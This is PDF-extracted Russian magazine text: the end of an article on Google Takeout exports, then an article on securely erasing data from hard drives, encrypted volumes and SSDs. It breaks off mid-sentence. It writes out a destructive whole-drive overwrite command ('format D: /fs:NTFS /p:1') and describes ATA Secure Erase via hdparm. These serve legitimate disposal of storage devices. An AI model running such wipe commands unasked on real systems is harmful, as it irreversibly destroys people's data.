 — адресная кни га из Gmail. Кон такты раз биты на пап ки по груп‐ 
пам, плюс есть пап ка All Contacts,  которая объ еди няет  (и дуб лиру ет) содер‐ 
жимое  осталь ных.  Внут ри  каж дой  пап ки  —  файл  vCard  и  кар тинки  с  юзер‐ 
пиков. Забав ный эффект — тут кар тинки отоб ража ются целиком, в том виде,
в  котором  их  заг ружали  в  Google.  То  есть  если  кто‐то  помес тил  свое  лицо
в кру жок и решил, что осталь ное ник то никог да не уви дит, то он оши бает ся.

Contacts

  —  пла гины  для  при ложе ний  Google,  которые  ты
выс тавлял в фир менный магазин. Я не выс тавлял, поэто му у меня лишь один
файл — readme.

G  Suite  Marketplace

 — вот уже десять лет в глу бинах Google сущес тву ет сер вис, пред‐ 
назна чен ный  для  ведения  спис ков  дел.  Встре тить  его  мож но,  нап ример,
в Gmail и Calendar. Здесь же ты можешь най ти его «отгруз ку» в виде доволь но
муд реной струк туры в JSON.

Tasks

 — уви дев, что в этой пап ке лежат под катало ги с наз‐ 
вани ями  книг,  я  уже  было  обра довал ся:  неуже ли  най ден  спо соб  получать
копии книг, куп ленных в Play Books? Ха‐ха. Нет, конеч но. Вмес то это го в каж‐ 
дом из под катало гов — HTML с наз вани ем кни ги, име нем авто ра, вре менем,
ког да кни га была откры та пос ледний раз, внут ренним ID Play Books и ссыл кой.
Поль за,  конеч но,  сом нитель ная,  но если  книг мно го,  то при желании мож но
вытащить их спи сок, взяв наз вания и име на авто ров из эле мен тов с клас сами

 и  .

Google Play Books

header author
Ос тает ся  еще  нес коль ко  про дук тов,  по  которым  в  моем  архи ве  ничего

не было из‐за того, что я ими никог да не поль зовал ся. Это Blogger, Classroom,
Fit, Play Music, Groups, Handsfree, Hangouts on Air, Keep, Search Contributions
и Voice. Пожалуй, наиболь шее упу щение — это Keep, но 

 ты можешь най ти готовый пар сер для его дан ных.
вот в этом репози‐ 

тории

ВЫВОДЫ
По луча ется,  что  самые  важ ные  архи вы,  помимо  поч ты,  фотог рафий
и  докумен тов, —  это  Searches,  Location History,  BrowserHistory.json  из  пап ки
Chrome и My Activity.

Мож но ли в ито ге ска зать, что через Takeout выда ют   лич ные дан ные?
Вряд ли. Отсутс тву ют как минимум ста рые сер висы, под дер жка которых прек‐ 
ращена: нет ни дан ных Google Reader, ни волн из Wave. Зная Google, я с тру‐ 
дом верю, что все эти дан ные унич тожены. Ско рее их убра ли в холод ное хра‐ 
нили ще.

все

В выг рузке Takeout при желании мож но най ти и дру гие про белы. Отсутс‐ 
твие дан ных из дес ктоп ного Chrome я уже упо минал, но есть и менее оче вид‐ 
ные  вещи.  Нап ример, 
содер жит не толь ко поис ковые зап росы, но и при вяз ку к мес ту, отку да ты их
делал. В пап ке My Activity ничего похоже го пока нет.

стра ница  для  онлай нового  прос мотра  активнос тей

Од нако, нес мотря на все эти недоче ты, сот рудни кам Google сто ит ска зать
спа сибо:  ред ко  ког да  раз работ чики  сер виса  тра тят  столь ко  уси лий  на  улуч‐ 
шение пор татив ности дан ных и повыше ние проз рачнос ти их сбо ра. В резуль‐ 
тате  Takeout  полезен  не  толь ко  для  того,  что бы  заб рать  свои  вещич ки
и скрыть ся с ними, но и для самой раз ной ана лити ки.

mailto:apismenny@gmail.com
https://takeout.google.com/
https://www.freeformatter.com/epoch-timestamp-to-date-converter.html
https://xakep.ru/2018/04/06/www-gron/
https://lisacharlotterost.github.io/2015/06/28/TUTORIAL-Google-Search-History/
https://developers.google.com/kml/documentation/kmzarchives
https://geoconverter.hsr.ch/
http://anotherdatum.com/location-history-analysis.html
https://medium.com/@tejasrr19/visualize-your-google-location-history-a2343b14a6fe
https://locationhistoryvisualizer.com/#pricing
http://theyhaveyour.info/
https://www.google.com/maps/timeline
https://myactivity.google.com/
https://github.com/jcontini/google-keep-scraper
https://myactivity.google.com/
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ПРИВАТНОСТЬ

Унич тожать ули ки и заметать сле ды — удел не самых законо‐ 
пос лушных  граж дан.  Мы  же  сегод ня  погово рим  о  том,
как  гаран тирован но  уда лить  информа цию  с  раз нооб разных
носите лей  в  тех  слу чаях,  ког да  ты  собира ешь ся  про дать,
подарить или поп росту выб росить диск, телефон или компь‐ 
ютер.

Ска жу баналь ность: в раз ных типах устрой ств спо собы хра нения информа ции
силь но раз лича ются. Более того, отли чают ся и спо собы уда ления записан ных
дан ных. У поль зовате лей «обыч ных дис ков» — с вра щающи мися маг нитны ми
плас тинами  и  без  шиф рования  —  имен но  уда ление  (переза пись)  дан ных
с дру гих типов носите лей час то вызыва ет удив ление и непони мание. Поэто му
нач нем с маг нитных дис ков.

КАК УНИЧТОЖИТЬ ИНФОРМАЦИЮ НА ЖЕСТКОМ ДИСКЕ
В этом раз деле под тер мином «жес ткий диск» мы будем понимать клас сичес‐ 
кое  устрой ство  с  вра щающи мися  плас тинами  и  дви жущи мися  элек тро маг‐ 
нитны ми голов ками чте ния‐записи. Информа ция, записан ная на плас тину, так
и оста ется на ней вплоть до момен та, ког да дан ные будут переза писа ны.

Тра дици онный  спо соб  уда ления  дан ных  с  маг нитных  дис ков  —  фор‐ 
матиро вание.  К  сожале нию,  при исполь зовании Windows даже пол ное фор‐ 
матиро вание  дис ка  может  при вес ти  к  раз ным  —  и  вре мена ми  неожи дан‐ 
ным — резуль татам.

Так, если исполь зует ся ОС на Windows XP (или еще более ста рая вер сия
Windows), при пол ном фор матиро вании дис ка сис тема вов се не запишет нули
в каж дый сек тор. Вмес то это го ОС все го лишь про изве дет поиск пло хих сек‐ 
торов  с  помощью  пос ледова тель ного  чте ния  дан ных.  Поэто му,  если  ты
собира ешь ся  выб росить  ста рый  компь ютер,  работа ющий  под  управле нием
Windows  XP,  фор матируй  диск  в  коман дной  стро ке,  задав  параметр 

. В  этом  слу чае  коман да    переза пишет  содер‐ 
жимое  дис ка  нулями  столь ко  раз,  сколь ко  задано  парамет ром 

. При мер:

/p:<число проходов> format
<число 

проходов>

$ format D: /fs:NTFS /p:1

На чиная  с  Windows  Vista  раз работ чики  Microsoft  изме нили  логику  работы
коман ды пол ного фор матиро вания. Теперь фор матиро вание дис ка дей стви‐ 
тель но  , и параметр   ста новит ся избы точ‐ 
ным.

пе реза писы вает дан ные нулями /p

Собс твен но,  для  обыч ного  поль зовате ля,  не  стра дающе го  параной ей,
на том все и закан чива ется. Поль зовате ли же, более обыч ного оза бочен ные
безопас ностью  уда лен ных  дан ных, могут  вспом нить  о  сущес тво вав ших  пару
десяти летий назад методах  (кста ти,  очень дорогих),  которы ми на  спе циаль‐ 
ном  обо рудо вании  мож но  поп робовать  вос ста новить  дан ные,  ана лизи руя
оста точ ную  намаг ничен ность  дорожек.  Теоре тичес кая  идея  метода  в  том,
что бы  обна ружить  сле ды  информа ции,  которая  была  ранее  записа на
на  дорож ке,  ана лизи руя  сла бую  оста точ ную  намаг ничен ность  (вари ация
метода — ана лиз кра евой намаг ничен ности,  ког да счи тывать пыта ются дан‐ 
ные  из  про межут ков  меж ду  дорож ками).  Метод  прек расно  работал
для накопи телей раз мером со шкаф и элек тро маг нитами, которые мог ли сор‐ 
вать  с  воен ного  кокар ду.  Замет но  худ шие  резуль таты  метод  показы вал
на дис ках с объ емом в десят ки мегабайт и сов сем пло хо работал с накопи‐ 
теля ми, объ ем которых приб лижал ся  к  гигабай ту  (нет,  это не ошиб ка,  здесь
речь имен но о мегабай тах и гигабай тах).

В теории сле ды оста точ ной намаг ничен ности мож но поп робовать вос ‐
ста новить из областей, показан ных жел тым (источник:
www.anandteth.com)

Для сов ремен ных накопи телей с высокой плот ностью записи, объ ем которых
изме ряет ся  в  терабай тах,  под твержден ных  слу чаев  успешно го  при мене ния
дан ного метода нет, а для дис ков, исполь зующих «черепич ную» запись SMR,
под ход невоз можен в прин ципе.

В сов ремен ных накопи телях плот ность записи дан ных слиш ком высока
для того, что бы метод сра ботал (источник: www.anandteth.com)

Впро чем,  что бы  исклю чить  даже  теоре тичес кую  воз можность  его  исполь‐ 
зования, дос таточ но переза писать диск не нулями,  а некото рой пос ледова‐ 
тель ностью дан ных — иног да не один раз.

АЛГОРИТМЫ ГАРАНТИРОВАННОГО УНИЧТОЖЕНИЯ ИНФОРМАЦИИ
Во мно гих орга низа циях исполь зуют ся спе циаль ные про цеду ры для ути лиза‐ 
ции  устрой ств  хра нения  информа ции,  под разуме вающие  их  санацию  (без‐ 
воз врат ное унич тожение информа ции). Для унич тожения дей стви тель но сек‐ 
ретной  информа ции  при меня ют  дес трук тивные  методы,  но  для  дан ных,
не  пред став ляющих  осо бой  цен ности,  допус тимо  исполь зовать  и  прог рам‐ 
мные алго рит мы. Таких алго рит мов сущес тву ет великое мно жес тво.

Нач нем,  пожалуй,  с  широко  извес тно го,  но  невер но  интер пре тиру емо го
аме рикан ско го  стан дарта  DoD  5220.22‐M.  Боль шинс тво  бес плат ных  и  ком‐ 
мерчес ких  при ложе ний,  которые  под держи вают  этот  стан дарт,  ссы лают ся
на  ста рую  (дей ство вав шую  до  2006  года)  его  ревизию.  Дей стви тель но,
с 1995‐го по 2006‐й «воен ный» стан дарт унич тожения информа ции раз решал
исполь зовать  метод  переза писи  дан ных.  Стан дарт  под разуме вал  трех крат‐ 
ную переза пись дис ка. Пер вым про ходом выпол нялась  запись  любого сим‐ 
вола, затем — его XOR‐ком пли мен та и, наконец, в пос леднем про ходе — слу‐ 
чай ной пос ледова тель нос ти. Нап ример, так:

01010101 > 10101010 > 11011010*
* случайные данные

В  нас тоящее  вре мя  воен ными  этот  алго ритм  не  исполь зует ся;  для  санации
носите ли физичес ки унич тожа ют или пол ностью раз магни чива ют, что называ‐ 
ется,  «в  гор ниле  ядер ного  взры ва».  Одна ко  для  унич тожения  несек ретной
информа ции  этот  алго ритм  до  сих  пор  при меня ется  в  раз личных  государс‐ 
твен ных учрежде ниях США.

Ка над ская  полиция  унич тожа ет  несек ретную  информа цию  при  помощи
ути литы  DSX  собс твен ной  раз работ ки.  Ути лита  переза писы вает  дан ные
нулями, затем — еди ница ми, пос ле чего записы вает на диск пос ледова тель‐ 
ность  дан ных,  в  которой  закоди рова на  информа ция  о  вер сии  ути литы,  дате
и вре мени унич тожения дан ных. Сек ретная информа ция все так же унич тожа‐ 
ется вмес те с носите лем.

При мер но так:

00000000 > 11111111 > 10110101*
* предопределенная кодированная последовательность

По хожим  обра зом  пред лага ет  унич тожать  информа цию  извес тный  спе‐ 
циалист в области крип тогра фии Брюс Шнай ер. Пред ложен ный им алго ритм
отли чает ся  от  канад ской  раз работ ки  лишь  тем,  что  треть им  про ходом
записы вает ся  не  пре доп ределен ная  пос ледова тель ность  дан ных,  а  псев‐ 
дослу чай ная. В момент пуб ликации этот алго ритм, исполь зующий генера тор
слу чай ных чисел для переза писи, под вергал ся кри тике как более мед ленный
в  срав нении  с  алго рит мами,  которые  записы вали  пре доп ределен ную  пос‐ 
ледова тель ность дан ных. На сегод няшний (а так же вче раш ний и позав чераш‐ 
ний)  день  труд но  себе  пред ста вить  про цес сор,  который  спо соб на  хоть
как‐нибудь  наг рузить  такая  прос тая  задача,  но  на момент  пуб ликации алго‐ 
рит ма в 1993 году в ходу были про цес соры клас са  i486, работав шие на час‐ 
тотах поряд ка 20–66 МГц…

При мер но так:

00000000 > 11111111 > 10110101*
* псевдослучайные данные

В  Гер мании  для  унич тожения  несек ретных  дан ных  при нят  нес коль ко  дру гой
под ход.  Стан дарт  BSI  Verschlusssachen‐IT‐Richtlinien  (VSITR)  поз воля ет
исполь зовать  от  двух  до шес ти  про ходов  (в  зависи мос ти  от  клас сифика ции
информа ции),  записы вающих  пооче ред но  псев дослу чай ную  пос ледова тель‐ 
ность и ее XOR‐ком пли мент. Пос ледним про ходом записы вает ся пос ледова‐ 
тель ность 01010101.

При мер но так:

01101101* > 10010010** > 01010101
* псевдослучайная последовательность 1
** XOR‐комплимент псевдослучайной последовательности 1

На конец,  в  качес тве  тех ничес кого  курь еза  при ведем  алго ритм  Питера  Гут‐ 
мана,  пред ложив шего  переза пись  в  35  про ходов.  Опуб ликован ный
в 1996 году алго ритм был осно ван на теоре тичес ком пред положе нии уров ня
оста точ ного  маг нетиз ма  в  5%  и  уже  на  момент  пуб ликации  выг лядел  все го
лишь теоре тичес ким изыс ком. Тем не менее и этот алго ритм под держи вает ся
мно гими  при ложе ниями  для  унич тожения  информа ции.  Фак тичес ки  же  его
исполь зование  избы точ но  и  совер шенно  бес смыс ленно;  даже  трех крат ная
переза пись информа ции по любому из опи сан ных выше алго рит мов даст точ‐ 
но такой же резуль тат.

Ка кой  алго ритм  исполь зовать?  Для  сов ремен ных  (не  стар ше  10–15  лет)
жес тких  дис ков  однократ ной  переза писи  псев дослу чай ной  пос ледова тель‐ 
ностью более чем дос таточ но для надеж ного унич тожения информа ции. Все,
что дела ется  сверх  это го,  спо соб но  лишь  успо коить  внут реннюю паранойю,
но никак не умень шить веро ятность успешно го вос ста нов ления информа ции.

ПРИЛОЖЕНИЯ ДЛЯ БЕЗОПАСНОГО УДАЛЕНИЯ ДАННЫХ С
МАГНИТНЫХ НОСИТЕЛЕЙ
Как  мы  выяс нили,  для  безопас ного  уда ления  дан ных  с  жес тко го  дис ка
желатель но переза писать его содер жимое слу чай ной пос ледова тель ностью
битов,  но  мож но  и  вос поль зовать ся  одним  из  сущес тву ющих  алго рит мов
по унич тожению дан ных. Про ще все го это сде лать при помощи одной из дос‐ 
тупных ути лит. Труд ность пред став ляет лишь выбор качес твен ного и при этом
бес плат ного  при ложе ния,  ведь  ути лита ми  клас са  Secure  Erase  под  завяз ку
забиты мно гочис ленные фай ловые архи вы.

Хо рошо  себя  зареко мен довала  прог рамма  . При ложе ние  работа ет
исклю читель но в режиме заг рузки  (прог рамма рас простра няет ся в  качес тве
заг рузоч ного  обра за,  точ нее —  саморас паковы вающе гося  архи ва,  который
при  запус ке  пред ложит  этот  образ  соз дать)  и  под держи вает  боль шинс тво
стан дартов унич тожения дан ных. Откры тый исходный код поз воля ет убе дить‐ 
ся  не  толь ко  что  прог рамма  дела ет  имен но  то,  что  обе щает,  но  и  что
для  генера ции псев дослу чай ной пос ледова тель нос ти исполь зован пра виль‐ 
ный генера тор слу чай ных цифр.

DBAN

Darik’s Boot and Nuke (BDAN)

Аль тер натив ный вари ант — бес плат ное, но проп риетар ное при ложе ние 
.  При ложе ние  раз работа но  спе циалис тами  в  области  вос ста‐ 

нов ления  дан ных  и  под держи вает  боль шинс тво  сущес тву ющих  стан дартов
унич тожения информа ции. CBL так же поз воля ет соз дать заг рузоч ную флеш‐ 
ку, при помощи которой мож но пол ностью очис тить диск.

CBL
Data  Shredder

Ути лита CBL для унич тожения дан ных
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ЗАМЕТАЕМ СЛЕДЫ
КАК УНИЧТОЖИТЬ ДАННЫЕ БЫСТРО

И БЕЗВОЗВРАТНО

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ДИСКИ С АППАРАТНЫМ ШИФРОВАНИЕМ
Иног да информа цию нуж но уда лить быс тро, бук валь но мгно вен но. Оче вид но,
что  сде лать  это  на  логичес ком  уров не  для  маг нитно го  дис ка  невоз можно:
тре бует ся  пол ностью  переза писать  весь  объ ем  информа ции,  что  может
занять мно гие часы работы. Одна ко решение сущес тву ет, и доволь но дав но:
это жес ткие дис ки с шиф ровани ем на аппа рат ном уров не. Стан дартов аппа‐ 
рат ного  шиф рования  сущес тву ет  нес коль ко,  самые  рас простра нен ные  —
Opal и eDrive. Объ еди няет эти стан дарты то, что при вклю чении шиф рования
все  дан ные  на  таком  жес тком  дис ке  будут  авто мати чес ки  зашиф рованы
при записи и рас шифро ваны при чте нии.

Нас  же  сей час  инте ресу ет  дру гая  осо бен ность  таких  дис ков,  а  имен но
мгно вен ное  и  без воз врат ное  унич тожение  дан ных.  Реали зова но  это  через
стан дар тную коман ду ATA Secure Erase, которую мож но выпол нить с помощью
стан дар тной  ути литы  .  Для  маг нитных  накопи телей,  исполь зующих
аппа рат ное  шиф рование,  коман да  Secure  Erase  мгно вен но  унич тожит  ключ
шиф рования,  так что рас шифро вать записан ную на дис ке информа цию ста‐ 
нет нель зя. При исполь зовании дис ком стой кого шиф рования с клю чом дли‐ 
ной от 128 бит рас шифро вать дан ные будет совер шенно невоз можно.

hdparm

Кста ти, исполь зовать hdparm мож но и на обыч ных, незашиф рован ных дис‐ 
ках. Прав да, вре мя работы коман ды будет мало отли чать ся от обыч ной посек‐ 
торной переза писи содер жимого дис ка — прос то потому, что имен но посек‐ 
торную переза пись она и выпол нит.

Впро чем,  hdparm  не  панацея.  Аппа рат ное  шиф рование  исполь зует ся
в основном в жес тких дис ках, пред назна чен ных для работы в спе цифи чес ких
усло виях  (кор пораци ях,  хос тинго вых  и  облачных  ком пани ях).  Даже  если  ты
уста новишь  такой  жес ткий  диск  в  свой  домаш ний  компь ютер  и  вклю чишь
аппа рат ное шиф рование, есть веро ятность, что коман да Secure Erase не сра‐ 
бота ет  как  надо  из‐за  осо бен ностей  BIOS.  В  домаш них  усло виях  исполь‐ 
зовать  чис то  аппа рат ное шиф рование без  под дер жки  со  сто роны опе раци‐ 
онной сис темы — не самое луч шее и далеко не самое надеж ное решение.

По жалуй,  сто ит  упо мянуть,  что  сущес тву ет  целый  класс  жес тких  дис ков,
которые  пос тавля ются  с  уже  акти виро ван ным  шиф ровани ем  все го  накопи‐ 
теля. Любая информа ция, которую запишут на такой диск, будет авто мати чес‐ 
ки  зашиф рована  крип тогра фичес ким  клю чом.  Если  поль зователь  не  уста‐ 
новит пароль, то крип тогра фичес кий ключ не будет зашиф рован и все дан ные
будут дос тупны сра зу пос ле ини циали зации накопи теля.

Прин цип работы жес тко го дис ка с аппа рат ным шиф ровани ем, если
пароль не задан (источник: ibm.com)

Ес ли же поль зователь уста новит пароль на диск, то при ини циали зации дис ка
(толь ко вык лючение и вклю чение, но не сон или гибер нация — на этой осо‐ 
бен ности  пос тро ен  целый  ряд  атак  на  подоб ные  дис ки)  крип тогра фичес кий
ключ будет зашиф рован паролем и дос туп к дан ным будет невоз можен до тех
пор, пока ты не вве дешь пра виль ный пароль.

Прин цип работы жес тко го дис ка с аппа рат ным шиф ровани ем с уста нов ‐
ленным паролем (источник: ibm.com)

Лег ко догадать ся, что унич тожение крип тогра фичес кого клю ча дела ет дос туп
к  дан ным  невоз можным.  Да,  ты  смо жешь  счи тать  информа цию  с  дис ка,
но рас шифро вать ее будет нель зя. На таких дис ках коман да ATA Secure Erase
в пер вую оче редь унич тожа ет имен но крип тогра фичес кий ключ и лишь затем
начина ет затирать дан ные.

Та кие  дис ки  исполь зуют ся  прак тичес ки  во  всех  хос тинго вых  и  облачных
ком пани ях. Оче вид но, что такое шиф рование никак не защитит от атак на уже
заг ружен ную сис тему. Его цель — пре дот вра тить несан кци они рован ный дос‐ 
туп к информа ции при физичес ком извле чении дис ка, нап ример если сер вер
укра дут.

САМОЕ НАДЕЖНОЕ УДАЛЕНИЕ ДАННЫХ
Рас смот ренный  выше  спо соб  с  ути литой  hdparm  тре бует,  что бы  диск  под‐ 
держи вал  аппа рат ное  шиф рование,  что  далеко  не  факт  для  обыч ных  пот‐ 
ребитель ских накопи телей. В домаш них усло виях быс трее и надеж нее все го
унич тожать информа цию с зашиф рован ных раз делов, для которых дос таточ но
затереть крип тогра фичес кий ключ.

Так, если твои дан ные хра нят ся на зашиф рован ном раз деле BitLocker,  то
для их момен таль ного унич тожения дос таточ но все го лишь отформа тиро вать
раз дел  «быс трым» фор матиро вани ем.  Коман да  format  в Windows  кор рек тно
рас позна ет тома BitLocker как в вер сии для коман дной стро ки, так и в вари‐ 
анте с GUI. При фор матиро вании томов BitLocker, даже «быс тром», унич тожа‐ 
ется крип тогра фичес кий ключ, что дела ет даль нейший дос туп к информа ции
невоз можным.

Осо бен ности BitLocker
Зна ешь ли ты, что отклю чение шиф рования на уже зашиф рован ном раз деле
BitLocker  не  при водит  к  рас шифров ке  дан ных?  Если  ты  отклю чишь  шиф‐ 
рование  на  раз деле,  который  был  защищен  BitLocker,  Windows  все го  лишь
сох ранит крип тогра фичес кий ключ для дос тупа к дан ным в откры том виде (а
не в зашиф рован ном паролем или дан ными из модуля TPM). Новые опе рации
записи будут вес тись в откры том виде, но сущес тву ющие дан ные будут сох‐ 
ранены как есть — прос то будут авто мати чес ки рас шифро ваны при помощи
откры того крип тогра фичес кого клю ча. Если ты сно ва вклю чишь шиф рование
это го  раз дела,  то  крип тогра фичес кий  ключ  будет  немед ленно  зашиф рован,
а  дан ные,  ранее  записан ные  в  незашиф рован ном  виде,  будут  пос тепен но
зашиф рованы в фоновом режиме.

Но  и  здесь  не  обош лось  без  засады. Даже  если  ключ шиф рования  от  тома
BitLocker  будет  унич тожен  в  пер вые  секун ды,  где‐то  в  дру гом  мес те  может
най тись его копия. За при мера ми далеко ходить не нуж но: при авто мати чес‐ 
кой акти вации шиф рования при помощи BitLocker Device Protection ключ вос‐ 
ста нов ления дос тупа авто мати чес ки же заг ружа ется в обла ко OneDrive. Таким
обра зом, даже унич тожение клю ча шиф рования не поможет.

Ис поль зуешь BitLocker? Зай ди в  учет ную запись Microsoft и  ,  нет
ли там лиш них клю чей шиф рования.

про верь

ТВЕРДОТЕЛЬНЫЕ НАКОПИТЕЛИ
Без воз врат но  уда лить  дан ные  с  твер дотель ного  накопи теля  SSD  и  про ще,
и  слож нее,  чем  с  маг нитно го  жес тко го  дис ка.  Давай  раз берем ся,  что  про‐ 
исхо дит внут ри SSD‐накопи теля при уда лении дан ных.

Ты  навер няка  слы шал  о  том,  что  мик росхе мы  памяти,  исполь зующиеся
в SSD‐накопи телях, поз воля ют быс тро счи тать информа цию, не очень быс тро
записать  дан ные  в  чис тый  блок  и  сов сем  мед ленно  записать  информа цию
в  область,  занятую  дру гими  дан ными.  Нас  сей час  инте ресу ет  имен но  пос‐ 
леднее свой ство SSD‐накопи телей. Для того что бы записать в ячей ку дан ные,
кон трол лер  накопи теля  дол жен  будет  спер ва  очис тить  (сте реть)  дан ные
в этой ячей ке, и толь ко пос ле это го ста нет воз можной опе рация записи. Пос‐ 
коль ку  про цесс  ини циали зации  ячей ки  очень  и  очень  небыс трый,  про изво‐ 
дите ли  раз работа ли  ряд  алго рит мов,  бла года ря  которым  в  рас поряже нии
кон трол лера всег да есть дос таточ ное количес тво пус тых яче ек.

А  что  про изой дет,  если  опе раци онная  сис тема  захочет  записать  дан ные
в ячей ку с опре делен ным адре сом, но по это му адре су уже хра нят ся какие‐то
дан ные?  В  этом  слу чае  кон трол лер  SSD  выпол нит  момен таль ную  под мену
адре сов: нуж ный адрес будет наз начен дру гой, пус той ячей ке, а занятый блок
получит дру гой адрес или вов се уйдет в неад ресу емый пул для пос леду ющей
фоновой очис тки.

Прин цип работы «сбор щика мусора» и Trim

При обыч ном исполь зовании на диск записы вает ся гораз до боль ше дан ных,
чем он спо собен вмес тить. Пул сво бод ных яче ек со вре менем сок раща ется,
и  в  какой‐то  момент  кон трол леру  ста новит ся  дос тупным  лишь  пул  из  неад‐ 
ресу емо го  прос транс тва  «запас ной»  емкости. Эту  проб лему  про изво дите ли
реша ют  при  помощи  механиз ма  Trim,  работа юще го  сов мес тно  с  опе раци‐ 
онной  сис темой.  Если  поль зователь  уда ляет  какой‐то  файл,  фор матиру ет
диск  или  соз дает  новый  раз дел,  сис тема  переда ет  кон трол леру  SSD
информа цию о том, что опре делен ные ячей ки не содер жат полез ных дан ных
и могут быть очи щены.

Об рати вни мание: в резуль тате работы Trim сама опе раци онная сис тема
не переза писы вает эти бло ки и не сти рает информа цию. Кон трол леру все го
лишь  переда ется  мас сив  адре сов  яче ек,  которые  не  содер жат  полез ной
информа ции.  С  это го  момен та  кон трол лер  может  начать  фоновый  про цесс
уда ления дан ных из яче ек.

Что  про изой дет,  если  на  SSD‐дис ке  содер жится  боль шой  объ ем
информа ции, а кон трол леру пос тупила коман да Trim на все содер жимое дис‐ 
ка?  Даль нейшее  никак  не  зависит  от  дей ствий  поль зовате ля  или  опе раци‐ 
онной сис темы: алго рит мы кон трол лера нач нут очис тку ненуж ных яче ек. А что
слу чит ся,  если  поль зователь  (или  зло умыш ленник)  попыта ется  счи тать  дан‐ 
ные  из  яче ек,  на  которые  уже  пос тупила  коман да  Trim,  но  которые  еще  не
были физичес ки очи щены?

Здесь начина ется самое инте рес ное. Сов ремен ные SSD опре деля ют три
воз можнос ти:
1. Non‐deterministic Trim: неоп ределен ное сос тояние. Кон трол лер может вер‐ 
нуть фак тичес кие  дан ные,  нули  или  что‐то  еще,  при чем  резуль тат  может
раз личать ся меж ду попыт ками (SATA Word 169 bit 0).

2. Deterministic  Trim  (DRAT):  кон трол лер  гаран тирован но  воз вра щает  одно
и то же зна чение (чаще все го, но не обя затель но нули) для всех яче ек пос‐ 
ле коман ды Trim (SATA Word 69 bit 14).

3. Deterministic  Read  Zero  after  Trim  (DZAT):  гаран тирован ное  воз вра щение
нулей пос ле Trim (SATA Word 69 bit 5).

Оп ределить,  к  какому  типу отно сит ся  твой SSD, мож но при помощи все  той
же коман ды hdparm:

$ sudo hdparm ‐I /dev/sda | grep ‐i trim
   * Data Set Management TRIM supported (limit 1 block)
   * Deterministic read data after TRIM

SSD  пер вого  типа  в  нас тоящее  вре мя  прак тичес ки  не  встре чают ся  (хотя
до сих пор подоб ным поведе нием отли чают ся накопи тели стан дарта eMMC).
Как пра вило, для обыч ного исполь зования про изво дите ли пред лага ют дис ки
вто рого  типа,  а SSD с под дер жкой DZAT пред назна чены для исполь зования
в сос таве мно годис ковых мас сивов.

С прак тичес кой точ ки зре ния это озна чает толь ко одно: сра зу пос ле уда‐ 
ления дан ных  (хоть пофай лово, хоть фор матиро вани ем, хоть перераз бивкой
раз делов) информа ция ста нет недос тупной для чте ния как с компь юте ра, так
и на спе циаль ном стен де.

Ка залось бы, все прос то? Нет, здесь есть круп ный под вох, и даже не один.
Во‐пер вых, уве рен ли ты, что на тво ей сис теме кор рек тно фун кци они рует

Trim? Дело в том, что Trim под держи вает ся на уров не опе раци онной сис темы
начиная с Windows 7 и  толь ко при соб людении ряда усло вий. Всех усло вий!
Во‐пер вых, диск дол жен быть под клю чен нап рямую (SATA, NVME); для подав‐ 
ляюще го  боль шинс тва  внеш них  (USB)  накопи телей  Trim  не  под держи вает ся
(быва ют  исклю чения).  Во‐вто рых,  Windows  под держи вает  Trim  толь ко
для  томов  NTFS.  Наконец,  Trim  дол жны  под держи вать  как  драй веры,  так
и  BIOS  компь юте ра.  Про верить  работос пособ ность  Trim  в  Windows  мож но
коман дой

$ fsutil behavior query DisableDeleteNotify

Ре зуль тат:
 — Trim вклю чен и работа ет кор рек тно;• 0

 — Trim неак тивен.• 1

Об рати вни мание: для USB‐накопи телей (внеш них SSD) Trim с боль шой веро‐ 
ятностью  не  будет  акти вен,  хоть  и может  под держи вать ся  на  уров не  встро‐ 
енно го в накопи тель кон трол лера.

Еще один момент. Да, оста новить про цесс фоновой сбор ки мусора невоз‐ 
можно: если на SSD‐накопи тель пода ется питание, то кон трол лер будет про‐ 
дол жать  унич тожать дан ные пос ле Trim незави симо ни от  чего. Одна ко дос‐ 
таточ но извлечь из накопи теля чипы памяти, и при помощи нес ложно го стен‐ 
да дан ные с них мож но счи тать. Да, у иссле дова теля будет силь нейшая голов‐ 
ная  боль,  свя зан ная  с  физичес кой  фраг мента цией  яче ек  из‐за  пере адре‐ 
сации бло ков и сверх того — логичес кой фраг мента ции дан ных. Тем не менее
решить такую проб лему все‐таки мож но.

Что  при водит  нас  к  пос ледне му  пун кту.  Замет ная  часть  емкости  накопи‐ 
теля  (в  некото рых моделях —  до  10%)  отво дит ся  под  резер вный  неад ресу‐ 
емый пул. В теории ячей ки в этом пуле дол жны очи щать ся; на прак тике из‐за
мно гочис ленных  осо бен ностей  реали зации  и  оши бок  в  про шив ках
это работа ет далеко не всег да и дан ные могут физичес ки оста вать ся на мес‐ 
те даже пос ле завер шения очис тки.

Та ким обра зом, ситу ация с уда лени ем дан ных с SSD выг лядит сле дующим
обра зом.
1. Ты  можешь  мгно вен но  уда лить  дан ные  со  встро енно го  SSD‐накопи теля,
прос то  отформа тиро вав  раз дел  (исполь зуй NTFS  в  качес тве  новой фай‐ 
ловой  сис темы).  Trim  пометит  бло ки  как  неис поль зуемые,  а  кон трол лер
пос тепен но уда лит информа цию из этих яче ек.

2. Ес ли  все  прош ло  пра виль но,  то  никаки ми  недес трук тивны ми  спо соба ми
доб рать ся до информа ции будет невоз можно. Более того, если зло умыш‐ 
ленник  под клю чит  диск  к  дру гому  компь юте ру  или  спе циали зиро ван ному
стен ду, кон трол лер SSD про дол жит методич но затирать ячей ки.

3. Ес ли  же  из  SSD  извле кут  мик росхе мы,  то  оставши еся  в  ячей ках  дан ные
удас тся  счи тать.  Более  того,  даже  если  про цесс  очис тки,  казалось  бы,
завер шен,  в  неад ресу емом  резер вном  пуле  могут  остать ся  ячей ки,
в которых содер жатся «уда лен ные» дан ные.

Как  пол ностью  и  надеж но  унич тожить  содер жимое  SSD‐накопи теля?
К сожале нию, это не один, а два раз ных воп роса. Пол ностью очис тить содер‐ 
жимое  SSD  мож но  при  помощи  уже  зна комой  коман ды  ATA  Secure  Erase,
которую мож но выдать через hdparm. А вот «надеж но» — увы, оста ется лишь
наде ять ся на пра виль ную реали зацию Secure Erase раз работ чиками кон трол‐ 
лера. Прак тика показы вает, что в некото рых слу чаях Secure Erase не про изво‐ 
дит  пол ной  очис тки  яче ек  из  резер вно го  пула  (из‐за  прос тей ших  оши бок
в  про шив ке).  Таким  обра зом,  гаран тию  даст  исклю читель но  исполь зование
крип токон тей нера:  если  уда ляет ся  крип тогра фичес кий  ключ,  рас шифро вать
остатки содер жимого будет прак тичес ки невоз можно. Но и  здесь есть  свои
